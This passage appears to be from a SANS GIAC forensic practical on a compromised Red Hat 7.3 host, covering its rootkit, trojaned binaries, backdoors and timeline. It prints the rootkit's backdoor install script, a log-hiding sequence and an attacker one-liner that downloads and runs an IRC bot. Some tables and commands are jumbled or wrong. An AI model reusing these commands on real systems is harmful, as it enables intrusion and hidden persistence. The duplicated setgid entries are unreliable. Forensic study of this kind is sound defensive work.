Files on the CDROM, Tag item # 05, included an MD5 hash file. Below is the file listing:

<table>
<thead>
<tr>
<th>MD5</th>
<th>Hash Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>liveresponse.tar</code></td>
<td>994b0c3b8e91d10087fa085f9586f4de</td>
</tr>
<tr>
<td><code>sebek.out</code></td>
<td>82b86c939e8347c71e25655530566dc7</td>
</tr>
<tr>
<td><code>snortfiles.tar</code></td>
<td>66130385e828dbb5218a492d6f1df6a1</td>
</tr>
<tr>
<td><code>varddimage.gz</code></td>
<td>d073eb91e149936a313f907cd3c9a3ac</td>
</tr>
</tbody>
</table>
Using md5sum.exe from [http://www.etree.org/md5com.html](http://www.etree.org/md5com.html), the file checksums were verified. The output is shown below:

```
D:\>md5sum *
994b0c3b8e91d10087fa085f9586f4de *liveresponse.tar
82b86c939e8347c71e25655530566dc7 *sebek.out
66130385e828dbb5218a492d6f1df6a1 *snortfiles.tar
d073eb91e149936a313f907cd3c9a3ac *varddimage.gz
```

### 2.5. Media Analysis

The system used to analyze the evidence was an IBM ThinkPad model A31 with a 1.8Ghz processor, 1.0GB of RAM. There were two sixty GigaByte Travelstar hard drives, a removable Matsushita UJDA720 DVD/CDRW. The Forensic analysis software used to examine Tag #01 and Tag #03 and Tag #05 was EnCase (V4.14) from Guidance Software, a forensic tool of choice in our workplace.

Below is a list of all of the tools used during the analysis:

1. EnCase is popular with law enforcement and private industry providing powerful forensic capabilities. [www.guidancesoftware.com](http://www.guidancesoftware.com)

2. mac_robbber is a computer forensic tool for unix. It collects MAC (modified, access and change) times of files. [www.stake.com/research/tools/forensic](http://www.stake.com/research/tools/forensic)

3. The live response kit consisted of the following Linux binaries:
   - ‘nc’ (netcat) used to send data streams from the victim machine to the forensic workstation.
   - ‘date’ used to record the start time and stop time of the response.
   - ‘w’ used to identify who is currently logged in.
   - ‘netstat’ used to show the internet sockets that are open and to display the routing information.
   - ‘lsof’ used to identify backdoors and network services.
   - ‘ps’ used to show the processes in the process table.
   - ‘ifconfig’ used to obtain the network configuration
   - ‘ls’ used to list the /proc file system.
   - ‘md5sum’ used to record MD5 checksums.

See Table 2 for the exact syntax used for each command. The LD_LIBRARY_PATH variable was set to ensure known good library files were used. It is important to use either statically compiled files or trusted library files. It must be assumed the binary and library files on the system are

---

compromised. That is the reason for the using the trusted library files. The library files were included on the live response CDROM.

4. Snort (v.2.0.0) open source software that can be used as a sniffer, packet logger and network intrusion detection software. Snort reference site www.snort.org.

5. Tcpdump (v.3.6 running with libcap v0.6) open source software used for analyzing packets. Tcpdump is available from www.tcpdump.org.

6. Tcpflow (v.0.21) open source software that will allow the data stream for a TCP session to be captured. Tcpflow is available from www.circlemud.org/~jelson/software/tcpflow.

7. Linux RedHat 7.3 commands; find, md5sum, grep, ls. These commands are part of the unix operating system. (www.redhat.com).

EnCase provides verification via MD5 hashes of drive previews and evidence files when opened. The MD5 checksum was calculated when Tag item #1 was previewed and acquired. The FastBloc device ensures the evidence is not altered or changed in any way. The verification checksum ensures the evidence has not been corrupted or altered and allows for verification throughout the analysis process.

When the harddrive, Tag item #1, was first acquired as an evidence file an acquisition MD5 checksum was calculated. A verification MD5 checksum can be run at anytime. EnCase has powerful search capabilities through the use of keywords. Generic keyword lists are available, but meaningful keywords assist in narrowing the investigation. To focus the EnCase analysis a meaningful keyword list was compiled using the live response files and associated logs.

Before the initial acquisition the keywords were entered and selected. Once the drive was acquired EnCase used the keyword list to search the acquired evidence file.

**File system**

The live response and log analysis provided a focus for beginning the file system analysis. The IDS logging provided details on the initial connections that led to the compromise of the victim machine. The encrypted ssh session meant the IDS logging could not provide details on the events occurring on the victim machine.

The first files analyzed were the files and directories identified as suspicious during the live response analysis. Those directories and files were:

- Nfsd
- sshd_config
- Popauth
- minilogd
- /tmp/.s
- services
weit /x

Analysis of the /tmp/.s directory corroborating evidence seen in the IDS logs. The file install.log had a last written date of 03:25:20PM. The install.log file was created by the running of the install script from the s.tar.gz file. The install.log file is shown in Table 2.

<table>
<thead>
<tr>
<th>Installing</th>
<th>chattr: No such file or directory while trying to stat /usr/local/sbin/sshd</th>
</tr>
</thead>
<tbody>
<tr>
<td>Shutting down kernel logger:</td>
<td>[ OK ]</td>
</tr>
<tr>
<td>Shutting down system logger:</td>
<td>[ OK ]</td>
</tr>
<tr>
<td>touch: getting attributes of <code>ps</code>: No such file or directory</td>
<td></td>
</tr>
<tr>
<td>touch: getting attributes of <code>ls</code>: No such file or directory</td>
<td></td>
</tr>
<tr>
<td>`-ps PS --&gt; failed</td>
<td></td>
</tr>
<tr>
<td>`---top TOP --&gt; OK</td>
<td></td>
</tr>
<tr>
<td>`---pстree PSTREE --&gt; failed</td>
<td></td>
</tr>
<tr>
<td>`-----killall KILLALL --&gt; OK</td>
<td></td>
</tr>
<tr>
<td>`-------ls-dir-vdir LS DIR VDIR ---&gt; failed</td>
<td></td>
</tr>
<tr>
<td>`-------find FIND ---&gt; OK</td>
<td></td>
</tr>
<tr>
<td>`--------du DU ---&gt; OK</td>
<td></td>
</tr>
<tr>
<td>`-------netstat NETSTAT ---&gt; OK</td>
<td></td>
</tr>
</tbody>
</table>

Table 2. install.log output

Table 2. install.log output shows “PS, PSTREE and LS DIR VDIR” failing during install. Further analysis of the install script is shown below in steps 1 to 20 below. The bolded fonts in step 11 are the one’s that the install log showed as failing. Steps 12 to 21 are the actions that were never completed. This was verified taking the MD5 file hashes and comparing them with MD5 hashes from a clean install of Linux RedHat 7.3 machine.

1) The HISTFILE is configured not to capture commands with “unset HISTFILE”.

2) The command “chattr -iau” is used, (the “-” removes attributes from the file, “i” => immutable, “a” => append only and “u” => undeletable”). The files the command was used on are listed below:

| /etc/rc.d/init.d/sshd | /etc/rc.d/init.d/syslog |
| /etc/rc.d/init.d/functions | /usr/local/sbin/sshd |
| /usr/sbin/sshd | /bin/ps |

3) Stop syslog with “/etc/rc.d/init.d/syslog stop”

4) kill the rpc portmapper

5) remove *.tgz file(s) from the ../ directory.

6) Copy the .1proc file to /dev/ttyop. The .1proc file is a list of processes shown below:

   2 sl0  2 sl2  2 st  2 v
   2 foo  3 scan  3 ping  3 tcpd
   3 nfsd  3 lpd  3 r00t  2 x2
   3 strobe  2 sc  3 luckstar dx  2 /dev/killall
   2 hds  3 /usr/sbin/nfbsd  3 mass  3 o
   3 vuln  3 weit

7) Copy the .1addr file to /dev/ttyoa. The .1addr file is a list of ports shown below:

   3 18  4 18  3 6667  4 6667  3 1
   4 1

8) Copy the .1file file to /dev/ttyof. The .1file is a list of filenames shown below:

   .s  .x  logs  sense  tcp.log
   mps  mls  killer  mtop  mpstree
   ttyop  ttyof  ttyoa  ttypsy  wipe
   clean  sense  nfbsd  hds  hds1
   v  sl0  sl  foo  st
   r00t

9) Copy the .1logz file to /dev/ttyos. The .1logz file is a list of IP addresses, domain names and log file names shown below:

   XXX.hypermart.net  XXX.XXX.0.159  syslog
   klogd  net-pf-10  XXX.97.33.*

10) touch -acmr ( a => change access time, c => do not create any files, m => change modification time, r => use the file referenced times instead of current time). The touch command was performed on the files listed. The first file is the file whose times are used as reference, the second is the trojan binary included in the s.tar.gz root kit.
11) Place the trojan binaries and move existing binaries appending the original name with an “m”:

```
ps => /bin/ps  pstree => /usr/bin/pstree  top => /usr/bin/top
ls => /bin/ls  killall => /usr/bin/killall  ls => /usr/bin/dir
du => /usr/bin/du  find => /usr/bin/find  vdir => /usr/bin/vdir
netstat => /bin/netstat
```

12) The nfsdi script, located in the nfsd directory, is called to install the nfsd (sshd backdoor) on port 18:

The nfsdi script does the following:

a) p.sshd is copied to /usr/sbin/nfsd
b) a chmod +s and chattr +iau done on /usr/sbin/nfsd
c) sshd_config copied to /sbin/sshd_config, chattr +iau is done on the file.
d) host key (xxxh_h) and random key (xxh_r) are copied to /sbin.
e) nfsd (sshd) is run
f) charttr -iau run on /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions.
g) The line “/usr/sbin/nfsd -f /sbin/sshd_config” is appended to the end of /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions and chattr +iau is run.

13) Rootkit utilities are installed:

```
clean => /usr/bin/clean  sense => /usr/bin/sense
dos/sl2 => /usr/bin/dos/sl2  dos/foo => /usr/bin/dos/foo
dos/st => /usr/bin/dos/st  dos/v => /usr/bin/dos/v
```

14) Linsniffer installed storing logs in /dev/logs “linsniffer /usr/bin/lpd”.

15) Setting up crontab “/usr/bin/crontab cron-root”.

16) Ports Open check using command “/usr/sbin/lsof|grep LISTEN”.

17) Checking for “Other RooTKITs”.

18) starting syslog with “/etc/rc.d/init.d/syslog start”

19) Reviewing logs, cron, maillog with echo of;

```
/var/log/messages  /var/log/boot.log /var/log/cron
/var/log/secure    /var/log/maillog
```

20) Using chattr +iau on

```
/etc/rc.d/init.d/syslog  /etc/rc.d/init.d/functions /bin/ps
/bin/netstat            /bin/ls  /usr/bin/du
/usr/bin/find           /usr/bin/pstree /usr/bin/killall
```
TCPFLOW output showed the uncompressing of the s.tar.gz files. When the file system /tmp/.s was examined three of the trojan binaries were not present, they were "ls, ps and vdir". Table 3 shows a comparison from the TCPFLOW file list and the files in the /tmp/.s directory:

<table>
<thead>
<tr>
<th>TCPFLOW log</th>
<th>Files in /tmp</th>
<th>Last access</th>
<th>Notes - (All virus infected with Linux.RST.B)</th>
</tr>
</thead>
<tbody>
<tr>
<td>.s/</td>
<td>/tmp/.s</td>
<td>03:25:20PM</td>
<td>Hidden directory</td>
</tr>
</tbody>
</table>
| .s/du        | /tmp/.s/du      | 03:25:20PM   | Trojan du (disk usage command) references ttyof.
| .s/find      | /tmp/.s/find    | 03:25:20PM   | Trojan find command references ttyof. The install script copies .lfile to ttyof. |
| .s/killall   | /tmp/.s/killall | 03:25:20PM   | Trojan killall command used to kill processes. References ttyop. The install script copies .lproc to ttyop. |
| .s/linzniffer| /tmp/.s/linzniffer | 03:25:20PM | Trojan linsniffer program. |
| .s/ls        | -not present-   |              | list command.                                |
| .s/netstat   | /tmp/.s/netsat  | 03:25:20PM   | Trojan netsat, network status command references ttyoa. The install script copies .laddr to ttyop. |
| .s/ps        | -not present-   |              | Process status command                       |
| .s/pstree    | /tmp/.s/pstree  | 03:25:20PM   | Process tree list. References ttyop. The install script copies .lproc to ttyop. |
| .s/vdir      | /tmp/.s/vdir    | 03:25:20PM   | Lists directory contents.                   |
| .s/top       | /tmp/.s/top     | 03:25:20PM   | Show top CPU Processes.                      |
| .s/.laddr    | /tmp/.s/.laddr  | 03:25:20PM   | Install script copies this to /dev/ttyoa. Contains a list of that trojan binaries uses. Binaries using this reference are netstat. |
| .s/.lfile    | /tmp/.s/.lfile  | 03:25:20PM   | Install script copies this to /dev/ttyof. Contains a list of that trojan binaries uses. Binaries using this reference are netstat. |
| .s/.llogz    | /tmp/.s/.llogz  | 03:25:20PM   | Install script copies this to /dev/ttyos. Contains a list of that trojan binaries uses. Binaries using this reference are netstat. |
| .s/.lproc    | /tmp/.s/.lproc  | 03:25:20PM   | Install script copies this to /dev/ttyop. Contains a list of that trojan binaries uses. Binaries using this reference are top, pstree, killall. |
| .s/clean     | /tmp/.s/clean   | 03:25:20PM   | Log file cleanup script.                     |
| .s/nfsd/     | /tmp/.s/nfsd    | 03:25:21PM   | Directory                                    |
| .s/nfsd/sshd_ | /tmp/.s/nfsd/sshd_ | 03:25:21PM | nfss (sshd) configuration file. |
| config       | d_config        |              |                                              |
| .s/nfsd/sshd_ | /tmp/.s/nfsd/sshd_ | 03:25:21PM | HostKey file for nfss (sshd) referenced in configuration file. EnCase output shows key as a private key belonging to |

21) Closing message "Na hai sa ne pisam pe iei ;-)"
The examination began with the startup files. In Linux RedHat 7.3 the startup begins with the /etc/rc.d/rc.sysinit script. This script was identified in the initial keyword search. It contained the keyword “weit”, one of the suspicious files seen in the live response. Two other startup files were identified in the keyword search. They are located in the /etc/init.d hierarchy.

“The inittab file is the configuration file used by ‘init’. The inittab file is located in the /etc directory and provides the run level the system will start in. RedHat Linux runs the /etc/rc.d/rc.sysinit script before running the rc ‘init’ script.”

The rc.sysinit file was identified, in the root kit install log, as one of the startup scripts that was modified. To view all startup scripts in /etc/rc.d with EnCase the rc.d homeplate was selected as shown in Figure 16 - upper left pane.

From the analysis of the s.tar.gz install script and the startup files we know three startup files were modified.

To identify file changes a fresh install of Linux 7.3 was used to generate MD5 hashes to compare against the Linux 7.3 victim machine. The output from the command below was piped (|) into an output file for comparison purposes. The find command below starts at the root “/”, looking for names of all files “-name \*”, do not parse the /proc directory structure “/proc’ -prune -o”, only look at files “-type f” and run an md5sum on the file “-exec md5sum () \;”.

```
#find / -name \* -path ‘/proc’ -prune -o -type f -exec md5sum () \;
```

To create a hash file in EnCase the files were checked off and an export of the hash values, file name, file logical size and path was done. This created a space

---

delimited flat file. The file was transferred to the Linux, normalized, and comparisons were run using the unix 'comm' command as shown below:

```
comm -3 known-good-startup.txt export-phase4-startup.txt | more
```

The comm command with the -3 switch will not show lines from the two files that are identical. The output is shown:

```
/etc/rc.d/init.d/functions 918ec2bf2cda7890118d41731001ed09 9962
   /etc/rc.d/init.d/functions e62d86534bd966c0378d8045aaaa0762 9998
```

Looking at the end of the functions script we find the covert ssh startup command.

```
/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned functions startup script – nfsd (ssh on port 18) added

```
/etc/rc.d/init.d/syslog bf2c05fb64dc8c193dfbc21052f5e6e5 1369
   /etc/rc.d/init.d/syslog 7e7d2b5075662d3cd6e35c24b5003d69 1405
```

Looking at the end of the syslog script we again find the covert ssh startup command.

```
/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned syslog startup script – nfsd (ssd on port 18) added

```
/etc/rc.d/rc.sysinit 48fa67a16b96d8d1768a5f9d8421eee4 22379
   /etc/rc.d/rc.sysinit ee965268d25b94ed0ffe16d5be5be890 22379
```

Looking at the end of the rc.sysinit script we find the virus infected (Linux.RST.B) weit command.

Looking at the end of the /etc/rc.d/rc.sysinit script we find the weit command.

```
/wbin/getkey i && touch /var/run/confirm
fi
weit
```

Trojaned rc.sysinit startup script – wait changed to weit

The “last written” time from each file showed the /etc/rc.d/rc.sysinit script being modified at 3:22:09pm and both the /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions scripts modified at 3:25:21pm. Figure 16 is a screen shot of
the /etc/rc.d folder and associated folders and files, all sorted using the Entry Modified time.

To display all of the folders and files under /etc/rc.d refer to the upper left hand window in Figure 16. The “home plate” to the left of the check box is selected as shown. To perform a sort, the “Entry Modified” column was selected. The red arrow in the upper right corner of the Entry Modified column indicates this column is sorted. (Refer to the EnCase report in Appendix F).

The back doors found on the system were:

- The nfsd daemon (trojaned sshd) running on process ID’s 19810 and 19811
- The weit program run from the rc.sysinit script in the /etc/rc.d directory that spawned the popauth program that sets up a listener on UDP port 3049.
- The IRC server running on process ID’s 19936 and 19941.

Looking at the install script in /tmp/.s/install we see

```
cd nfsd;./nfsdi
```

The nfsdi script modifies the syslog and functions scripts and installs the trojan, virus infected, nfsd.

```
#!/bin/sh
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
if [ -x /usr/sbin/nfsd ]; then
    chattr -iau /usr/sbin/nfsd
    rm -f /usr/sbin/nfsd
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
else
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
fi
if [ -f /sbin/sshd_config ]; then
    chattr -iau /sbin/sshd_config
    rm -f /sbin/sshd_config
    cp -f /sbin/sshd_config /sbin
    chattr +iau /sbin/sshd_config
else
    cp -f /sbin/sshd_config /sbin
    chattr +iau /sbin/sshd_config
fi

The IRC bot Software was running as process ID 19941 and 19936. The installation and start of the script was done during a session to the victim host (192.168.2.15) from IP address XXX.XXX.108.64 between ports 35157 and 443. The time of this event was 15:22:43. The command below downloaded the bot.tgz, tar-gzipped file (wget XXX.XXX.com/eladoht/bot.tgz). The file was unpacked (tar -zxvf bot.tgz), the file was removed (rm -rf bot.tgz), the directory was changed from /tmp to /tmp/.X11-pipe (cd .X11-pipe), the mode was set to executable (chmod +x inetd/services) and the services file run (inetd/services).

```
wget XXX.XXX.com/eladoht/bot.tgz; tar -zxvf bot.tgz; rm -rf bot.tgz; cd .X11-pipe; chmod +x inetd/services; inetd/services
```

The linsniffer program was part of the s.tar.gz file. Analysis of the file system showed no indication of the linsniffer program. The install.log showed the install script didn't complete the install of linsniffer. Using EnCase, a filter search for the file name tcp.log was conducted. The filter search turned up no hits.
A keyword search was next. The purpose of the search was to see if the file existed but had been deleted. The keyword search found the tcp.log referenced 11 times. The references are summarized below:

- 6 hits were in the /tmp/.s/install file.
- 1 hit in the /dev/ttyof file.
- 1 hits in the /tmp/.s/linsniffer binary file.
- 1 hits in the /tmp/.s/.1file
- 1 hits in the /root/.bash_history file.
- 1 hits in the /swap space (swap space ls a .bash_history events).

The directory /dev/log did exist with a MAC time stamp of 03:22:06PM on 06/29/03.

Once the nsfd was running, the attacker connected, using ssh on port 18 and continued the configuration and setup of the root kits. The attacker mistyped the command for turning off HISTFILE and because of this error the .bash_history log file recorded the commands issued. These commands confirm the sebek output. The /root/.bash_history file, shown in Table 4, gives the keystroke history for the installation and running of the samba.tgz kit.

```
unset HISTFILES
  cd /tmp
  ls -al
  dir -al
  rm -rf .s
  rm -rf r
  mc
  ps ax
  killall -9 cp chmod
  ps ax
  kill -9 19504 19508
  ps ax
  cd /bin
  mkdir .EhT
  cd /tmp
  cd .font
  -unix
  wget XXX.XXX.com/eladoht/samba.tgz
  tar -zxvf samba.tgz
  cd samba
  ifconfig
  ./samba -d 0 -S 192.168.2.*
  ./samba -d 0 -S XXX.XXX.5.*
  nmap
  nmap XXX.XXX.42.58
  ./sys XXX.XXX.42.58
  ./sys XXX.XXX.42.58
  whereis tcp.log
  netstat -a
  netstat
  ./samba -d 0 -S XXX.XXX.42.*
  nmap XXX.XXX.49.137
  ./sys XXX.XXX.49.137
```
The EnCase enscript used for reporting the sticky bit did not identify the bit as either setuid or setgid. To provide a complete listing of setuid and setgid a dd image was made of the evidence drive (Tag # 02) using Fastbloc. The command used to create the dd image was:

```
dd if=/dev/sd1 of=/mnt/linux73-062903.bin bs=1024 conv=noerror,notrunc,sync
```

The dd command is used to make a bit for bit image. The command line switches are:

- “if” => identifies the input file, in this case it is /dev/sd1.
- “of” => designated the output file, in this case it is /mnt/linux73-062903.bin.
- “bs” => is the block size to use for reading and writing.
- “conv” => is used to send extra arguments to dd.
- “noerror” => tells dd not to stop when reading if an error occurs.
- “notrunc” => no truncation of the output if an error happens.
• “sync” => if an error occurs use zeros in the output file. 

The MD5 checksum was verified against the MD5 checksum from EnCase. See Figure 17.

![Figure 17 dd image MD5 checksum.](image)

Using the loop back devices the filesystem was mounted as ro and the find command was used to obtain the following:

1. The syntax of the find command for locating hidden directories is;

   ```bash
   find /mnt/linux73 -name ".*" -type d -printf "%Tc %k %h/%f
   
   The "/mnt/linux73" tells find where to start. The "-name ".*" -type d" tells find to look for directories that begin with a "." (the "." in unix hides the directory or file). The last command line switch tells find to print out the file date and time information.

<table>
<thead>
<tr>
<th>Directories of interest are listed below:</th>
</tr>
</thead>
<tbody>
<tr>
<td>.</td>
</tr>
<tr>
<td>.</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:41:56 PM CST 1 /mnt/linux73/tmp/.font-unicode</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 04:00:24 PM CST 1 /mnt/linux73/tmp/.font-unicode/.X11-pipe</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:10 PM CST 1 /mnt/linux73/tmp/.s</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:08 PM CST 1 /mnt/linux73/.x</td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>

---

2. Locating the setuid files:

```bash
find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslg {} \;
```

The “`/mnt/linux73`” tells find where to start. The “`-type f -a -perm -4000`” tells find to look for a regular file with the setuid bit set. The “`-exec ls -aslg {} \;`” command line switch tells find to print out the file details.

<table>
<thead>
<tr>
<th>File Path</th>
<th>Owner</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>/mnt/linux73/usr/sbin/chage</td>
<td>root</td>
<td>root</td>
<td>34296</td>
<td>Mar 27 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/gpasswd</td>
<td>root</td>
<td>root</td>
<td>36100</td>
<td>Mar 27 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/pwdb_chkpwd</td>
<td>root</td>
<td>root</td>
<td>37528</td>
<td>Jan 17 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/passwd</td>
<td>root</td>
<td>root</td>
<td>15104</td>
<td>Mar 13 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/chfn</td>
<td>root</td>
<td>root</td>
<td>12072</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/chsh</td>
<td>root</td>
<td>root</td>
<td>11496</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/newgrp</td>
<td>root</td>
<td>root</td>
<td>4764</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/crontab</td>
<td>root</td>
<td>root</td>
<td>21800</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/lpaccess</td>
<td>root</td>
<td>root</td>
<td>19927</td>
<td>Apr 17 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/sudo</td>
<td>root</td>
<td>root</td>
<td>219932</td>
<td>Apr 4 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/lockdev</td>
<td>root</td>
<td>root</td>
<td>7404</td>
<td>Apr 17 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/kheckpass</td>
<td>root</td>
<td>root</td>
<td>14588</td>
<td>Jul 24 2001</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/clogin</td>
<td>root</td>
<td>root</td>
<td>10940</td>
<td>Jul 24 2001</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/tcp</td>
<td>root</td>
<td>root</td>
<td>8048</td>
<td>Apr 18 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/sudo</td>
<td>root</td>
<td>root</td>
<td>13656</td>
<td>Apr 18 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/suexec</td>
<td>root</td>
<td>root</td>
<td>13994</td>
<td>Apr 18 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/traceroute</td>
<td>root</td>
<td>root</td>
<td>451280</td>
<td>Apr 8 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/sendmail.sendmail</td>
<td>root</td>
<td>root</td>
<td>22388</td>
<td>Apr 15 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/userhelper</td>
<td>root</td>
<td>root</td>
<td>17461</td>
<td>Apr 19 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/usernetctl</td>
<td>root</td>
<td>root</td>
<td>20140</td>
<td>Mar 14 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/traceroute</td>
<td>root</td>
<td>root</td>
<td>242909</td>
<td>Jun 29 15:25</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/nfsd</td>
<td>root</td>
<td>root</td>
<td>1602576</td>
<td>Apr 18 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/KFree6</td>
<td>root</td>
<td>root</td>
<td>43951</td>
<td>Jun 30 17:36</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/ping</td>
<td>root</td>
<td>root</td>
<td>68863</td>
<td>Apr 30 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/mount</td>
<td>root</td>
<td>root</td>
<td>35327</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/unmount</td>
<td>root</td>
<td>root</td>
<td>19116</td>
<td>Apr 8 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/pwdb_chkpwd</td>
<td>root</td>
<td>root</td>
<td>120264</td>
<td>Apr 9 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/unixchkpwd</td>
<td>root</td>
<td>root</td>
<td>16992</td>
<td>Apr 9 2002</td>
</tr>
</tbody>
</table>

3. Locating setgid files:

```bash
find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslg {} \;
```

The “`/mnt/linux73`” tells find where to start. The “`-type f -a -perm -4000`” tells find to look for a regular file with the setgid bit set. The “`-exec ls -aslg {} \;`” command line switch tells find to print out the file details.

<table>
<thead>
<tr>
<th>File Path</th>
<th>Owner</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>/mnt/linux73/usr/sbin/chage</td>
<td>mail</td>
<td>root</td>
<td>17811</td>
<td>Mar 25 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/lockfile</td>
<td>root</td>
<td>root</td>
<td>25020</td>
<td>Jun 25 2001</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/slocate</td>
<td>root</td>
<td>root</td>
<td>6920</td>
<td>Mar 14 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/slocate</td>
<td>root</td>
<td>root</td>
<td>68863</td>
<td>Apr 30 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/pwdbchk</td>
<td>root</td>
<td>root</td>
<td>35327</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/pwdbchk</td>
<td>root</td>
<td>root</td>
<td>68863</td>
<td>Apr 30 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/pwdbchk</td>
<td>root</td>
<td>root</td>
<td>35327</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/pwdbchk</td>
<td>root</td>
<td>root</td>
<td>19116</td>
<td>Apr 8 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/pwdbchk</td>
<td>root</td>
<td>root</td>
<td>120264</td>
<td>Apr 9 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/pwdbchk</td>
<td>root</td>
<td>root</td>
<td>16992</td>
<td>Apr 9 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/pwdbchk</td>
<td>root</td>
<td>root</td>
<td>242909</td>
<td>Jun 29 15:25</td>
</tr>
</tbody>
</table>
The highlighted line for both setuid and setgid shows the nfsd file, installed with the root kit having both setuid and setgid bits set. See Appendix F for the complete EnCase report.

2.6. Timeline Analysis

Time line analysis was done using a combination of EnCase, mac_robber and the unix find command. The Modified, Access and Change times are selectable within EnCase. The timeline export within EnCase produced a file too large to import into Excel and sort. EnCase allows for easy sorting on any of the three times or combinations of the three. To provide a sortable file, the dd image was mounted and both mac_robber and find commands were used to produce timeline files. The following command was used to create a ctime (change time) timeline file:

```
find /mnt/linux73/root -printf "%Ct/%h/%f\n" | sort > outputfile.txt
```

The adjusted to local times listed below are based on the EnCase Timeline analysis. The time on the /mnt/linux73/lost+found file indicated the last written and modified time as 11:30:53 time as seen in Figure 18.

![Figure 18 Time alignment EnCase](image)

The 1056043853 time is based on the number of seconds after Jan 1, 1970. The key events are displayed below with both times:
OS install start Jun 19, 2003 18:30:53 => Adjusted to local time 11:30:53
1056043853 /mnt/linux73/lost+found

OS install complete Jun 20 2003 09:31:35 => Adjusted to local 02:31:35
1056097895 /mnt/linux73/root/install.log
.
.
1056882120 /mnt/linux73/var/spool/anacron/cron.weekly

COMPROMISE STARTS HERE -> ------------------------------------------------
Date is Jun 29, 2003 22:11:59 => Adjusted to local 15:11:59
1056921119 /mnt/linux73/tmp/.s/.laddr
1056921119 /mnt/linux73/tmp/.s/.lfile
1056921119 /mnt/linux73/tmp/.s/.llogz
1056921119 /mnt/linux73/tmp/.s/.lproc
1056921119 /mnt/linux73/tmp/.s/mpstree
1056921119 /mnt/linux73/tmp/.s/nfsd/nfsdi
1056921119 /mnt/linux73/tmp/.s/nfsd/sshd_config
1056921119 /mnt/linux73/tmp/.s/nfsd/xxh_h
1056921119 /mnt/linux73/tmp/.s/nfsd/xxh_r
1056921119 /mnt/linux73/tmp/.s/p.ssh
1056921119 /mnt/linux73/tmp/.s/sshd/init.sshd
1056921119 /mnt/linux73/tmp/.s/sshd/sshd_config
1056921119 /mnt/linux73/tmp/.s/sshd/sshd-install
1056921119 /mnt/linux73/tmp/.s/sshd/ssh_host_key

Date is Jun 29, 2003 22:20:00 => Adjusted to local 15:22:00
1056921600 /mnt/linux73/var/log/cron

Date is Jun 29, 2003 22:22:04 => Adjusted to local 15:22:04
1056921724 /mnt/linux73/bin/ps
1056921724 /mnt/linux73/etc/rc.d/init.d/sshd
1056921724 /mnt/linux73/usr/sbin/sshd

Date is Jun 29, 2003 22:22:05 => Adjusted to local 15:22:05
1056921725 /mnt/linux73/var/log/messages

Date is Jun 29, 2003 22:22:06 => Adjusted to local 15:22:06
1056921726 /mnt/linux73/dev/log

Date is Jun 29, 2003 22:22:07 => Adjusted to local 15:22:07
1056921727 /mnt/linux73/dev/ttyoa
1056921727 /mnt/linux73/dev/ttyof
1056921727 /mnt/linux73/dev/ttyop
